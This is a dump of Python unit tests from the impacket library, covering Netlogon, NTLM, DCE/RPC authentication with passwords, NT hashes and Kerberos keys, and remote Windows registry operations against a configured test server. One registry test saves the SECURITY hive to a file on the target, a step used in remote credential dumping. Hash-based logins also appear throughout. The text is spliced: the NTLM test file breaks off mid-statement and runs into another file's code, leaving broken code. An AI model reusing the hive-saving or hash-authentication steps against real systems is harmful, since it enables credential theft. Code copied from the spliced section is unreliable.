request['FunctionCode'] = nrpc.NETLOGON_CONTROL_QUERY
request['QueryLevel'] = 4
request['Data']['tag'] = 65534
request['Data']['DebugFlag'] = 1
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_LEVEL') < 0:
raise
def test_NetrLogonUasLogon(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonUasLogon()
request['ServerName'] = NULL
request['UserName'] = 'normaluser7\x00'
request['Workstation'] = self.serverName + '\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrLogonUasLogoff(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonUasLogoff()
request['ServerName'] = NULL
request['UserName'] = 'normaluser7\x00'
request['Workstation'] = self.serverName + '\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
class TCPTransport(NRPCTests):
def setUp(self):
NRPCTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
#print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
self.stringBinding = epm.hept_map(self.machine, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp')
class SMBTransport(NRPCTests):
def setUp(self):
NRPCTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.machine
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_ntlm.py 0000600 0000765 0000000 00000025363 12734531507 022765 0 ustar beto wheel 0000000 0000000 import struct
from impacket import ntlm
# Hexdump packets
def pretty_print(x):
if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ':
return x
else:
return '.'
def hexdump(data):
x=str(data)
strLen = len(x)
i = 0
while i < strLen:
print "%04x " % i,
for j in range(16):
if i+j < strLen:
print "%02X" % ord(x[i+j]),
else:
print " ",
if j%16 == 7:
print "",
print " ",
print ''.join(pretty_print(x) for x in x[i:i+16] )
i += 16
# Common values
user = "User"
domain = "Domain"
password = "Password"
serverName = "Server"
workstationName = "COMPUTER"
randomSessionKey = "U"*16
time = "\x00"*8
clientChallenge = "\xaa"*8
serverChallenge = "\x01\x23\x45\x67\x89\xab\xcd\xef"
flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE
seqNum = 0
nonce = '\x00' * 4
plaintext = 'Plaintext'.encode('utf-16le')
print "## BEFORE RUNNING THESE TESTS"
print "Don't forget to set up aTime = '\\x00'*8 in computeResponseNTLMv2 otherwise the results won't be right. "
print "Look for that in ntlm.py and uncomment the lines, comment the other ones and don't forget to revert everything back whenever finished testing"
print "Flags"
hexdump(struct.pack('=0 and self.stringBinding.find('ncacn_np') >=0):
raise
def test_WINNTPacketPrivacy(self):
dce = self.connectDCE(self.username, self.password, self.domain, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
dceAuth=True, doKerberos=False)
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
resp = dce.request(request)
dce.disconnect()
def test_KerberosPacketPrivacy(self):
dce = self.connectDCE(self.username, self.password, self.domain, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
resp = dce.request(request)
resp.dump()
dce.disconnect()
def test_HashesWINNTPacketPrivacy(self):
lmhash, nthash = self.hashes.split(':')
dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
dceAuth=True, doKerberos=False)
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
dce.disconnect()
def test_HashesKerberosPacketPrivacy(self):
lmhash, nthash = self.hashes.split(':')
dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
resp = dce.request(request)
resp.dump()
dce.disconnect()
def test_Aes128KerberosPacketPrivacy(self):
dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey128,
auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
dceAuth=True, doKerberos=True)
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
resp = dce.request(request)
resp.dump()
dce.disconnect()
def test_Aes256KerberosPacketPrivacy(self):
dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey256,
auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
dceAuth=True, doKerberos=True)
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
resp = dce.request(request)
resp.dump()
dce.disconnect()
def test_AnonWINNTPacketPrivacy(self):
# With SMB Transport this will fail with STATUS_ACCESS_DENIED
try:
dce = self.connectDCE('', '', '', auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,dceAuth=False, doKerberos=False)
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
dce.disconnect()
except Exception, e:
if not (str(e).find('STATUS_ACCESS_DENIED') >=0 and self.stringBinding.find('ncacn_np') >=0):
raise
class TCPTransport(DCERPCTests):
def setUp(self):
DCERPCTests.setUp(self)
# Put specific configuration for target machine with SMB1
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.aesKey256= configFile.get('TCPTransport', 'aesKey256')
self.aesKey128= configFile.get('TCPTransport', 'aesKey128')
self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine
class SMBTransport(DCERPCTests):
def setUp(self):
# Put specific configuration for target machine with SMB_002
DCERPCTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.aesKey256= configFile.get('SMBTransport', 'aesKey256')
self.aesKey128= configFile.get('SMBTransport', 'aesKey128')
self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_rrp.py 0000600 0000765 0000000 00000060763 12734531507 022621 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# OpenClassesRoot
# OpenCurrentUser
# OpenLocalMachine
# OpenPerformanceData
# OpenUsers
# BaseRegCloseKey
# BaseRegCreateKey
# BaseRegDeleteKey
# BaseRegFlushKey
# BaseRegGetKeySecurity
# BaseRegOpenKey
# BaseRegQueryInfoKey
# BaseRegQueryValue
# BaseRegReplaceKey
# BaseRegRestoreKey
# BaseRegSaveKey
# BaseRegSetValue
# BaseRegEnumValue
# BaseRegEnumKey
# BaseRegGetVersion
# OpenCurrentConfig
# BaseRegQueryMultipleValues
# BaseRegSaveKeyEx
# OpenPerformanceText
# OpenPerformanceNlsText
# BaseRegQueryMultipleValues2
# BaseRegDeleteKeyEx
# BaseRegLoadKey
# BaseRegUnLoadKey
# BaseRegDeleteValue
#
# Not yet:
#
# BaseRegSetKeySecurity
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import epm, rrp
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION
class RRPTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax = self.ts)
resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS)
return dce, rpctransport, resp['phKey']
def test_OpenClassesRoot(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenClassesRoot()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_OpenCurrentUser(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenCurrentUser()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_OpenLocalMachine(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenLocalMachine()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_OpenPerformanceData(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenPerformanceData()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_OpenUsers(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenUsers()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_BaseRegCloseKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegCloseKey()
request['hKey'] = phKey
resp = dce.request(request)
resp.dump()
def test_hBaseRegCreateKey_hBaseRegSetValue_hBaseRegDeleteKey(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hOpenClassesRoot(dce)
resp.dump()
regHandle = resp['phKey']
resp = rrp.hBaseRegCreateKey(dce, regHandle, 'BETO\x00')
resp.dump()
phKey = resp['phkResult']
try:
resp = rrp.hBaseRegSetValue(dce, phKey, 'BETO2\x00', rrp.REG_SZ, 'HOLA COMO TE VA\x00')
resp.dump()
except Exception, e:
print e
type, data = rrp.hBaseRegQueryValue(dce, phKey, 'BETO2\x00')
#print data
resp = rrp.hBaseRegDeleteValue(dce, phKey, 'BETO2\x00')
resp.dump()
resp = rrp.hBaseRegDeleteKey(dce, regHandle, 'BETO\x00')
resp.dump()
self.assertTrue( 'HOLA COMO TE VA\x00' == data )
def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenClassesRoot()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
regHandle = resp['phKey']
request = rrp.BaseRegCreateKey()
request['hKey'] = regHandle
request['lpSubKey'] = 'BETO\x00'
request['lpClass'] = NULL
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED
request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL
request['lpdwDisposition'] = rrp.REG_CREATED_NEW_KEY
resp = dce.request(request)
resp.dump()
phKey = resp['phkResult']
request = rrp.BaseRegSetValue()
request['hKey'] = phKey
request['lpValueName'] = 'BETO\x00'
request['dwType'] = rrp.REG_SZ
request['lpData'] = 'HOLA COMO TE VA\x00'.encode('utf-16le')
request['cbData'] = len('HOLA COMO TE VA\x00')*2
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
print e
request = rrp.BaseRegQueryValue()
request['hKey'] = phKey
request['lpValueName'] = 'BETO\x00'
request['lpData'] = ' '*100
request['lpcbData'] = 100
request['lpcbLen'] = 100
resp = dce.request(request)
resp.dump()
resData = resp['lpData']
request = rrp.BaseRegDeleteKey()
request['hKey'] = regHandle
request['lpSubKey'] = 'BETO\x00'
resp = dce.request(request)
resp.dump()
self.assertTrue( 'HOLA COMO TE VA\x00' == ''.join(resData).decode('utf-16le'))
def test_BaseRegEnumKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS
resp = dce.request(request)
request = rrp.BaseRegEnumKey()
request['hKey'] = resp['phkResult']
request['dwIndex'] = 1
# I gotta access the fields mannually :s
request.fields['lpNameIn'].fields['MaximumLength'] = 510
request.fields['lpNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 255
request['lpClassIn'] = ' '*100
request['lpftLastWriteTime'] = NULL
resp = dce.request(request)
resp.dump()
def test_hBaseRegEnumKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS
resp = dce.request(request)
resp = rrp.hBaseRegEnumKey(dce, resp['phkResult'], 1 )
resp.dump()
def test_BaseRegEnumValue(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
request = rrp.BaseRegEnumValue()
request['hKey'] = resp['phkResult']
request['dwIndex'] = 6
request['lpValueNameIn'] = ' '*100
request['lpData'] = ' '*100
request['lpcbData'] = 100
request['lpcbLen'] = 100
resp = dce.request(request)
resp.dump()
def test_hBaseRegEnumValue(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp = rrp.hBaseRegEnumValue(dce, resp['phkResult'], 7, 10)
resp.dump()
def test_BaseRegFlushKey(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hBaseRegFlushKey(dce,phKey)
resp.dump()
def test_BaseRegGetKeySecurity(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hBaseRegGetKeySecurity(dce, phKey, OWNER_SECURITY_INFORMATION)
resp.dump()
def test_BaseRegOpenKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_hBaseRegQueryInfoKey(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hBaseRegOpenKey(dce, phKey, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD\x00' )
resp = rrp.hBaseRegQueryInfoKey(dce,resp['phkResult'])
resp.dump()
def test_BaseRegQueryValue(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegQueryValue()
request['hKey'] = resp['phkResult']
request['lpValueName'] = 'ProductName\x00'
request['lpData'] = ' '*100
request['lpcbData'] = 100
request['lpcbLen'] = 100
resp = dce.request(request)
resp.dump()
def test_hBaseRegQueryValue(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00' )
resp.dump()
resp = rrp.hBaseRegQueryValue(dce, resp['phkResult'], 'ProductName\x00')
def test_BaseRegReplaceKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegReplaceKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\x00'
request['lpNewFile'] = 'SOFTWARE\x00'
request['lpOldFile'] = 'SOFTWARE\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
raise
def test_hBaseRegReplaceKey(self):
dce, rpctransport, phKey = self.connect()
try:
resp = rrp.hBaseRegReplaceKey(dce, phKey, 'SOFTWARE\x00', 'SOFTWARE\x00', 'SOFTWARE\x00')
resp.dump()
except Exception, e:
if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
raise
def test_BaseRegRestoreKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegRestoreKey()
request['hKey'] = phKey
request['lpFile'] = 'SOFTWARE\x00'
request['Flags'] = rrp.REG_REFRESH_HIVE
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
raise
def test_hBaseRegRestoreKey(self):
dce, rpctransport, phKey = self.connect()
try:
resp = rrp.hBaseRegRestoreKey(dce, phKey, 'SOFTWARE\x00')
resp.dump()
except Exception, e:
if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
raise
def test_BaseRegSaveKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenCurrentUser()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegSaveKey()
request['hKey'] = resp['phKey']
request['lpFile'] = 'BETUSFILE2\x00'
request['pSecurityAttributes'] = NULL
resp = dce.request(request)
resp.dump()
# I gotta remove the file now :s
smb = rpctransport.get_smb_connection()
smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
def test_hBaseRegSaveKey(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hOpenCurrentUser(dce)
resp.dump()
resp = rrp.hBaseRegSaveKey(dce,resp['phKey'],'BETUSFILE2\x00')
resp.dump()
# I gotta remove the file now :s
smb = rpctransport.get_smb_connection()
smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
def test_BaseRegGetVersion(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegGetVersion()
request['hKey'] = phKey
resp = dce.request(request)
resp.dump()
def test_hBaseRegGetVersion(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hBaseRegGetVersion(dce, phKey)
resp.dump()
def test_OpenCurrentConfig(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenCurrentConfig()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_hOpenCurrentConfig(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hOpenCurrentConfig(dce)
resp.dump()
def test_BaseRegQueryMultipleValues(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_QUERY_VALUE
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegQueryMultipleValues()
item1 = rrp.RVALENT()
item1['ve_valuename'] = 'ProductName\x00'
item1['ve_valuelen'] = len('ProductName\x00')
item1['ve_valueptr'] = NULL
item1['ve_type'] = rrp.REG_SZ
item2 = rrp.RVALENT()
item2['ve_valuename'] = 'SystemRoot\x00'
item2['ve_valuelen'] = len('SystemRoot\x00')
item1['ve_valueptr'] = NULL
item2['ve_type'] = rrp.REG_SZ
item3 = rrp.RVALENT()
item3['ve_valuename'] = 'EditionID\x00'
item3['ve_valuelen'] = len('EditionID\x00')
item3['ve_valueptr'] = NULL
item3['ve_type'] = rrp.REG_SZ
request['hKey'] = resp['phkResult']
request['val_listIn'].append(item1)
request['val_listIn'].append(item2)
request['val_listIn'].append(item3)
request['num_vals'] = len(request['val_listIn'])
request['lpvalueBuf'] = list(' '*128)
request['ldwTotsize'] = 128
resp = dce.request(request)
resp.dump()
def test_hBaseRegQueryMultipleValues(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00')
resp.dump()
valueIn = list()
item1 = {}
item1['ValueName'] = 'ProductName\x00'
item1['ValueType'] = rrp.REG_SZ
valueIn.append(item1)
item2 = {}
item2['ValueName'] = 'InstallDate\x00'
item2['ValueType'] = rrp.REG_DWORD
valueIn.append(item2)
item3 = {}
item3['ValueName'] = 'DigitalProductId\x00'
item3['ValueType'] = rrp.REG_BINARY
#valueIn.append(item3)
resp = rrp.hBaseRegQueryMultipleValues(dce, resp['phkResult'], valueIn)
#print resp
def test_BaseRegSaveKeyEx(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenCurrentUser()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegSaveKeyEx()
request['hKey'] = resp['phKey']
request['lpFile'] = 'BETUSFILE2\x00'
request['pSecurityAttributes'] = NULL
request['Flags'] = 4
resp = dce.request(request)
resp.dump()
# I gotta remove the file now :s
smb = rpctransport.get_smb_connection()
smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
def test_hBaseRegSaveKeyEx(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hOpenCurrentUser(dce)
resp.dump()
resp = rrp.hBaseRegSaveKeyEx(dce, resp['phKey'], 'BETUSFILE2\x00')
resp.dump()
# I gotta remove the file now :s
smb = rpctransport.get_smb_connection()
smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
def test_OpenPerformanceText(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenPerformanceText()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_hOpenPerformanceText(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hOpenPerformanceText(dce)
resp.dump()
def test_OpenPerformanceNlsText(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenPerformanceNlsText()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_hOpenPerformanceNlsText(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hOpenPerformanceNlsText(dce)
resp.dump()
def test_BaseRegQueryMultipleValues2(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_QUERY_VALUE
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegQueryMultipleValues2()
item1 = rrp.RVALENT()
item1['ve_valuename'] = 'ProductName\x00'
item1['ve_valuelen'] = len('ProductName\x00')
item1['ve_valueptr'] = NULL
item1['ve_type'] = rrp.REG_SZ
item2 = rrp.RVALENT()
item2['ve_valuename'] = 'SystemRoot\x00'
item2['ve_valuelen'] = len('SystemRoot\x00')
item1['ve_valueptr'] = NULL
item2['ve_type'] = rrp.REG_SZ
item3 = rrp.RVALENT()
item3['ve_valuename'] = 'EditionID\x00'
item3['ve_valuelen'] = len('EditionID\x00')
item3['ve_valueptr'] = NULL
item3['ve_type'] = rrp.REG_SZ
request['hKey'] = resp['phkResult']
request['val_listIn'].append(item1)
request['val_listIn'].append(item2)
request['val_listIn'].append(item3)
request['num_vals'] = len(request['val_listIn'])
request['lpvalueBuf'] = list(' '*128)
request['ldwTotsize'] = 128
resp = dce.request(request)
resp.dump()
def test_BaseRegDeleteKeyEx(self):
dce, rpctransport, phKey = self.connect()
request = rrp.OpenClassesRoot()
request['ServerName'] = NULL
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
regHandle = resp['phKey']
request = rrp.BaseRegCreateKey()
request['hKey'] = regHandle
request['lpSubKey'] = 'BETO\x00'
request['lpClass'] = NULL
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED
request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL
request['lpdwDisposition'] = rrp.REG_CREATED_NEW_KEY
resp = dce.request(request)
resp.dump()
phKey = resp['phkResult']
request = rrp.BaseRegDeleteKeyEx()
request['hKey'] = regHandle
request['lpSubKey'] = 'BETO\x00'
request['AccessMask'] = rrp.KEY_WOW64_32KEY
request['Reserved'] = 0
resp = dce.request(request)
resp.dump()
def test_BaseRegLoadKey_BaseRegUnLoadKey(self):
dce, rpctransport, phKey = self.connect()
request = rrp.BaseRegOpenKey()
request['hKey'] = phKey
request['lpSubKey'] = 'SECURITY\x00'
request['dwOptions'] = 0x00000001
request['samDesired'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegSaveKey()
request['hKey'] = resp['phkResult']
request['lpFile'] = 'SEC\x00'
request['pSecurityAttributes'] = NULL
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegLoadKey()
request['hKey'] = phKey
request['lpSubKey'] = 'BETUS\x00'
request['lpFile'] = 'SEC\x00'
resp = dce.request(request)
resp.dump()
request = rrp.BaseRegUnLoadKey()
request['hKey'] = phKey
request['lpSubKey'] = 'BETUS\x00'
resp = dce.request(request)
resp.dump()
smb = rpctransport.get_smb_connection()
smb.deleteFile('ADMIN$', 'System32\\SEC')
def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self):
dce, rpctransport, phKey = self.connect()
resp = rrp.hBaseRegOpenKey(dce,phKey, 'SECURITY\x00')
resp.dump()
request = rrp.BaseRegSaveKey()
request['hKey'] = resp['phkResult']
request['lpFile'] = 'SEC\x00'
request['pSecurityAttributes'] = NULL
resp = dce.request(request)
resp.dump()
resp = rrp.hBaseRegLoadKey(dce, phKey,'BETUS\x00', 'SEC\x00' )
resp.dump()
resp = rrp.hBaseRegUnLoadKey(dce, phKey, 'BETUS\x00')
resp.dump()
smb = rpctransport.get_smb_connection()
